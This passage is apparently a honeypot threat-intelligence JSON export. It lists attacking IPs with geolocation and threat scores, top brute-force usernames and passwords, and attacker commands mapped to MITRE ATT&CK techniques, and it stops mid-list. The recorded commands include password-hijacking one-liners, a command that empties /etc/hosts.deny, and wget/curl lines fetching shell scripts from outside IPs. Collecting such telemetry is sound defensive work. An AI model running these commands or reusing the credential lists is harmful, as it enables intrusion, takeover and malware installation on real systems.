        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T12:44:38.645000+00:00",
        "last_seen_30d": "2026-03-16T12:46:00.139000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.191.138": {
      "attack_count": 2,
      "first_seen": "2026-03-17T04:35:38.908Z",
      "last_seen": "2026-03-17T04:35:51.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T04:35:38.908000+00:00",
        "last_seen_30d": "2026-03-17T04:36:55.898000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.33.30": {
      "attack_count": 2,
      "first_seen": "2026-03-15T22:22:19.408Z",
      "last_seen": "2026-03-15T22:22:32.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:22:19.408000+00:00",
        "last_seen_30d": "2026-03-15T22:23:36.073000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.67": {
      "attack_count": 2,
      "first_seen": "2026-03-14T21:02:35.452Z",
      "last_seen": "2026-03-14T21:02:40.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 56.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:12:20+00:00",
        "last_seen_30d": "2026-03-23T06:14:41.666000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 20,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "45.248.157.251": {
      "attack_count": 2,
      "first_seen": "2026-03-18T11:34:40.360Z",
      "last_seen": "2026-03-18T11:34:53.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133661,
      "as_org": "Netplus Broadband Services Private Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T11:34:40.360000+00:00",
        "last_seen_30d": "2026-03-18T11:35:55.307000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.167.147.82": {
      "attack_count": 2,
      "first_seen": "2026-03-29T00:36:37.520Z",
      "last_seen": "2026-03-29T00:36:42.863Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T00:36:37.520000+00:00",
        "last_seen_30d": "2026-03-29T00:37:47.417000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "82.180.145.184": {
      "attack_count": 2,
      "first_seen": "2026-03-11T22:24:53.518Z",
      "last_seen": "2026-03-11T22:24:53.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:24:53.518000+00:00",
        "last_seen_30d": "2026-03-11T22:25:55.024000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "83.48.18.132": {
      "attack_count": 2,
      "first_seen": "2026-03-13T21:28:29.239Z",
      "last_seen": "2026-03-13T21:28:44.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T21:28:29.239000+00:00",
        "last_seen_30d": "2026-03-13T21:29:46.645000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.248.237.138": {
      "attack_count": 2,
      "first_seen": "2026-03-09T16:17:57.181Z",
      "last_seen": "2026-03-09T16:19:57.203Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 35807,
      "as_org": "SkyNet Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:17:57.181000+00:00",
        "last_seen_30d": "2026-03-09T16:30:01.684000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.153": {
      "attack_count": 2,
      "first_seen": "2026-03-11T18:08:18.416Z",
      "last_seen": "2026-03-11T18:08:18.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 64.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 25,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T04:08:41+00:00",
        "last_seen_30d": "2026-03-27T16:18:14.519000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 28,
        "Cowrie": 2
      }
    },
    "45.78.202.217": {
      "attack_count": 328,
      "first_seen": "2026-03-09T06:08:48.285Z",
      "last_seen": "2026-03-30T11:42:55.719Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "su",
        "t128",
        "cb",
        "client1",
        "django",
        "elizabeth",
        "frank",
        "frontend",
        "lekaren",
        "mk",
        "root1",
        "steamcmd",
        "toni",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "123Qweasd",
        "A1b2c3d4!!",
        "Lekaren123!",
        "Root12345",
        "Ruibo2026!@#",
        "Steamcmd123!",
        "cb123",
        "client1",
        "frankpass",
        "hengbing147258",
        "huanmu123456789",
        "konsone@2025",
        "password",
        "zj123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n5YoXDYspScBS\\n5YoXDYspScBS\\n\"|passwd",
        "echo \"password\\niJnuSWEOSsMu\\niJnuSWEOSsMu\\n\"|passwd",
        "echo \"root:YXFQBwckrDh9\"|chpasswd|bash",
        "echo -e \"123\\n5YoXDYspScBS\\n5YoXDYspScBS\"|passwd|bash",
        "echo -e \"password\\niJnuSWEOSsMu\\niJnuSWEOSsMu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T06:08:48.285000+00:00",
        "last_seen_30d": "2026-03-30T11:43:56.789000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 82
      }
    },
    "110.38.199.190": {
      "attack_count": 2,
      "first_seen": "2026-03-11T09:07:54.079Z",
      "last_seen": "2026-03-11T09:08:08.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T09:07:54.079000+00:00",
        "last_seen_30d": "2026-03-11T09:09:13.848000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.72.105.234": {
      "attack_count": 2,
      "first_seen": "2026-03-05T14:54:01.589Z",
      "last_seen": "2026-03-05T14:54:14.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gangtok",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:54:01.589000+00:00",
        "last_seen_30d": "2026-03-05T14:55:23.863000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.74.84.36": {
      "attack_count": 2,
      "first_seen": "2026-03-10T00:14:15.630Z",
      "last_seen": "2026-03-10T00:14:46.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Las Condes",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:14:15.630000+00:00",
        "last_seen_30d": "2026-03-10T00:15:49.521000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "Ukraine": 209911,
      "United States": 194740,
      "India": 86366,
      "Indonesia": 70510,
      "Netherlands": 48159,
      "Hong Kong": 47328,
      "Vietnam": 43579,
      "United Kingdom": 36378,
      "Singapore": 36035,
      "South Korea": 31684,
      "Germany": 29101,
      "Brazil": 28796,
      "Romania": 24685,
      "Seychelles": 21879,
      "France": 21391,
      "Taiwan": 16995,
      "Australia": 16411,
      "Sweden": 15472,
      "Switzerland": 12909,
      "Canada": 12868
    },
    "top_asns": {
      "1 Cloud Lab s.r.o.": 207656,
      "DigitalOcean, LLC": 183448,
      "Internet Magnate (Pty) Ltd": 91093,
      "PT Cloud Hosting Indonesia": 44034,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 39196,
      "Omegatech LTD": 33968,
      "Unmanaged Ltd": 31270,
      "Microsoft Corporation": 26130,
      "OVH SAS": 18660,
      "Korea Telecom": 18316,
      "Viettel Group": 15185,
      "Shereverov Marat Ahmedovich": 12869,
      "Byteplus Pte. Ltd.": 11782,
      "ONERED JWG532 SRL": 11363,
      "Cloud Host Pte Ltd": 11033,
      "MT-MPLS": 10642,
      "Private Layer INC": 10556,
      "w1n ltd": 9453,
      "Feo Prest SRL": 9268,
      "Viettel Corporation": 8967
    },
    "targeted_ports": {},
    "top_usernames": {
      "root": 2364,
      "345gs5662d34": 1641,
      "admin": 621,
      "ubuntu": 284,
      "user": 236,
      "test": 195,
      "clawd": 176,
      "claude": 157,
      "oracle": 114,
      "n8n": 107,
      "ftpuser": 105,
      "guest": 104,
      "deploy": 96,
      "GET / HTTP/1.1": 91,
      "postgres": 85,
      "admin1": 82,
      "bot": 78,
      "git": 66,
      "dev": 65,
      "developer": 65,
      "support": 64,
      "debian": 62,
      "jenkins": 60,
      "ftp": 59,
      "bin": 59,
      "administrator": 58,
      "alex": 53,
      "Accept-Encoding: gzip": 52,
      "hadoop": 50,
      "cisco": 48
    },
    "top_passwords": {
      "3245gs5662d34": 1647,
      "345gs5662d34": 1641,
      "123456": 1177,
      "1234": 1070,
      "12345678": 1019,
      "12345": 1010,
      "123": 1009,
      "password": 1006,
      "admin": 519,
      "root": 227,
      "123456789": 214,
      "Bingo@1993": 207,
      "P@ssw0rd": 204,
      "admin123": 194,
      "qwerty": 178,
      "1": 172,
      "111111": 159,
      "123123": 129,
      "passw0rd": 100,
      "Host: 172.105.186.117:23": 99,
      "1234567": 97,
      "": 96,
      "@qwer2025": 86,
      "1q2w3e4r": 81,
      "654321": 79,
      "password1": 78,
      "1234567890": 77,
      "root123": 77,
      "abc123": 74,
      "ubuntu": 71
    },
    "top_commands": {
      "cd ~; chattr -ia .ssh; lockr -ia .ssh": 1703,
      "lockr -ia .ssh": 1703,
      "uname -a": 1672,
      "cat /proc/cpuinfo | grep name | wc -l": 1625,
      "cat /proc/cpuinfo | grep model | grep name | wc -l": 1623,
      "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'": 1623,
      "crontab -l": 1623,
      "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'": 1623,
      "ls -lh $(which ls)": 1623,
      "uname -m": 1623,
      "w": 1623,
      "which ls": 1623,
      "whoami": 1623,
      "top": 1622,
      "uname": 1621,
      "lscpu | grep Model": 1617,
      "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'": 1615,
      "Enter new UNIX password:": 1240,
      "Enter new UNIX password: ": 1240,
      "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;": 888,
      "cat /proc/uptime 2 > /dev/null | cut -d. -f1": 264,
      "uname -m 2 > /dev/null": 264,
      "uname -s -v -n -m 2 > /dev/null": 264,
      "uname -s -v -n -r -m": 54,
      "echo -e \"\\x6F\\x6B\"": 49,
      "/bin/./uname -s -v -n -r -m": 47,
      "": 44,
      "uname -s -m": 28,
      "cat /proc/cpuinfo": 26,
      "/ip cloud print": 25,
      "ifconfig": 25,
      "echo Hi | cat -n": 24,
      "locate D877F783D5D3EF8Cs": 24,
      "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*": 24,
      "ps -ef | grep '[Mm]iner'": 24,
      "ps | grep '[Mm]iner'": 24,
      "enable": 22,
      "system": 21,
      "shell": 19,
      "sh": 19,
      "Accept-Encoding: gzip": 19,
      "/bin/busybox BOT": 8,
      "linuxshell": 6,
      "while read i": 6,
      "PING": 6,
      "echo login_success": 5,
      "config terminal": 5,
      "start": 5,
      "wget": 5,
      "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s": 5
    }
  },
  "x_mitre_attack": {
    "techniques": {
      "T1592": {
        "name": "Gather Victim Host Information",
        "tactic": "Reconnaissance",
        "ip_count": 3506,
        "sample_sources": []
      },
      "T1110.001": {
        "name": "Brute Force: Password Guessing",
        "tactic": "Credential Access",
        "ip_count": 3072,
        "sample_sources": []
      },
      "T1059.004": {
        "name": "Command and Scripting Interpreter: Unix Shell",
        "tactic": "Execution",
        "ip_count": 2311,
        "sample_sources": [
          "command:wget -qO- http://196.251.107.133/bins/sin.sh",
          "command:curl -L http://196.251.107.133/bins/sin.sh",
          "command:wget -O s http://196.251.107.133/bins/sin.sh"
        ]
      },
      "T1082": {
        "name": "System Information Discovery",
        "tactic": "Discovery",
        "ip_count": 2078,
        "sample_sources": [
          "command:/bin/./uname -s -v -n -r -m",
          "command:uname",
          "command:uname -a"
        ]
      },
      "T1078": {
        "name": "Valid Accounts",
        "tactic": "Initial Access",
        "ip_count": 1700,
        "sample_sources": []
      },
      "T1098": {
        "name": "Account Manipulation",
        "tactic": "Persistence",
        "ip_count": 1626,
        "sample_sources": [
          "command:echo \"Passbolt123!\\nM1TAx6Rd567q\\nM1TAx6Rd567q\\n\"|",
          "command:echo \"friend123\\ntpPIYGc4j5CL\\ntpPIYGc4j5CL\\n\"|pas",
          "command:echo \"newusername1234\\nEDpuklX78aOL\\nEDpuklX78aOL\\"
        ]
      },
      "T1053.003": {
        "name": "Scheduled Task/Job: Cron",
        "tactic": "Persistence",
        "ip_count": 1623,
        "sample_sources": [
          "command:crontab -l"
        ]
      },
      "T1105": {
        "name": "Ingress Tool Transfer",
        "tactic": "Command and Control",
        "ip_count": 1203,
        "sample_sources": [
          "command:echo \"ftpuserpass\\nK1anBaEVmIMZ\\nK1anBaEVmIMZ\\n\"|p",
          "command:echo -e \"ftpuserpass\\nK1anBaEVmIMZ\\nK1anBaEVmIMZ\"|",
          "command:echo \"ftpd\\nEOvXfudCns3O\\nEOvXfudCns3O\\n\"|passwd"
        ]
      },
      "T1074.001": {
        "name": "Data Staged: Local Data Staging",
        "tactic": "Collection",
        "ip_count": 899,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busyb",
          "command:dd bs=1 count=1911588 > /tmp/BoHPGwZ5oj"
        ]
      },
      "T1070": {
        "name": "Indicator Removal",
        "tactic": "Defense Evasion",
        "ip_count": 889,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:cd /tmp/; echo \"senpai\" > rootsenpai; cat rootsenp",
          "command:rm -rf shr; wget http://202.155.10.112/shr || curl"
        ]
      },
      "T1572": {
        "name": "Protocol Tunneling",
        "tactic": "Command and Control",
        "ip_count": 123,
        "sample_sources": []
      },
      "T1057": {
        "name": "Process Discovery",
        "tactic": "Discovery",
        "ip_count": 29,
        "sample_sources": [
          "command:ps -x",
          "command:ps -ef | grep '[Mm]iner'",
          "command:ps | grep '[Mm]iner'"
        ]
      },
      "T1041": {
        "name": "Exfiltration Over C2 Channel",
        "tactic": "Exfiltration",
        "ip_count": 28,
        "sample_sources": []
      },
      "T1059": {
        "name": "Command and Scripting Interpreter",
        "tactic": "Execution",
        "ip_count": 19,
        "sample_sources": [
          "command:echo \"geonodegeonode\\nGgmqZk5Xj3k0\\nGgmqZk5Xj3k0\\n",
          "command:echo -e \"geonodegeonode\\nGgmqZk5Xj3k0\\nGgmqZk5Xj3k",
          "command:echo \"tigergraphpass\\nDhz51s5XvVIH\\nDhz51s5XvVIH\\n"
        ]
      },
      "T1222.002": {
        "name": "File and Directory Permissions Modification: Linux",
        "tactic": "Defense Evasion",
        "ip_count": 5,
        "sample_sources": [
          "command:cd /tmp || cd /var/run || cd /mnt || cd /root || c",
          "command:export HISTFILE=/dev/null; (curl -s http://namzsmu",
          "command:cd /tmp;busybox wget -O s http://196.251.107.133/b"
        ]
      },
      "T1132.001": {
        "name": "Data Encoding: Standard Encoding",
        "tactic": "Command and Control",
        "ip_count": 3,
        "sample_sources": [
          "command:echo \"ernestopass\\nPDvKUrH5xXd6\\nPDvKUrH5xXd6\\n\"|p",
          "command:echo \"root:XJ0TKN6jXxd0\"|chpasswd|bash",
          "command:echo \"12345\\nXxDxUBtpaZ2z\\nXxDxUBtpaZ2z\\n\"|passwd"
        ]
      },
      "T1562.004": {
        "name": "Impair Defenses: Disable or Modify System Firewall",
        "tactic": "Defense Evasion",
        "ip_count": 2,
        "sample_sources": [
          "command:echo \"terraria1234\\nc7lDLjufwAcM\\nc7lDLjufwAcM\\n\"|",
          "command:echo -e \"terraria1234\\nc7lDLjufwAcM\\nc7lDLjufwAcM\"",
          "command:echo \"yuhan1234\\nJ6gyMzFUFWqK\\nJ6gyMzFUFWqK\\n\"|pas"
        ]
      },
      "T1021.004": {
        "name": "Remote Services: SSH",
        "tactic": "Lateral Movement",
        "ip_count": 1,
        "sample_sources": [
          "command:ssh -V"
        ]
      },
      "T1003.008": {
        "name": "OS Credential Dumping: /etc/passwd and /etc/shadow",
        "tactic": "Credential Access",
        "ip_count": 1,
        "sample_sources": [
          "command:cat /etc/passwd | grep root"
        ]
      }
    },
    "tactic_summary": {
      "Reconnaissance": 3506,
      "Persistence": 3249,
      "Credential Access": 3073,
      "Execution": 2330,
      "Discovery": 2107,
      "Initial Access": 1700,
      "Command and Control": 1329,
      "Collection": 899,
      "Defense Evasion": 896,
      "Exfiltration": 28,
      "Lateral Movement": 1
    },
    "technique_count": 19,
    "primary_tactics": [
      "Reconnaissance",
      "Persistence",
      "Credential Access"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 5405,
    "scored_ips": 5405,
    "threat_distribution": {
      "critical": 370,
      "high": 270,
      "medium": 503,
      "low": 1197,
      "minimal": 3065,
      "unknown": 0
    },
    "avg_threat_score": 26.0,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "176.120.22.240",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 5,
        "country": "Russia",
        "org": "Proton66 OOO"
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 12,
        "country": "Russia",
        "org": "Bashinskii Vadim Ruslanovich"
      },
      {
        "ip": "18.116.101.220",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 153,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "46.151.178.13",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 17,
        "country": "The Netherlands",
        "org": "Sino Worldwide Trading Limited"
      },
      {
        "ip": "130.12.181.85",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 77,
        "country": "United States",
        "org": "Netiface LLC"
      },
      {
        "ip": "85.11.183.27",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 12,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "18.218.118.203",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 235,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "85.11.183.21",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 22,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "45.91.64.6",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 6,
        "country": "Russia",
        "org": "JSC Buduschee"
      },
      {
        "ip": "3.129.187.38",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 119,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "16.58.56.214",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 134,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "91.224.92.177",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 19,
        "country": "United Kingdom",
        "org": "UAB Host Baltic"
      },
      {
        "ip": "45.153.34.117",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 13,
        "country": "Netherlands",
        "org": "Pfcloud UG (haftungsbeschrankt)"
      },
      {
        "ip": "85.11.183.25",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 22,
        "country": "United Kingdom",
        "org": "PebbleHost Ltd"
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 12,
        "country": "France",
        "org": "Contabo GmbH"
      },
      {
        "ip": "77.90.185.18",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 4,
        "country": "Iran",
        "org": "Limited Network LTD"
      },
      {
        "ip": "115.231.78.11",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 34,
        "country": "China",
        "org": "CT-HangZhou-IDC"
      },
      {
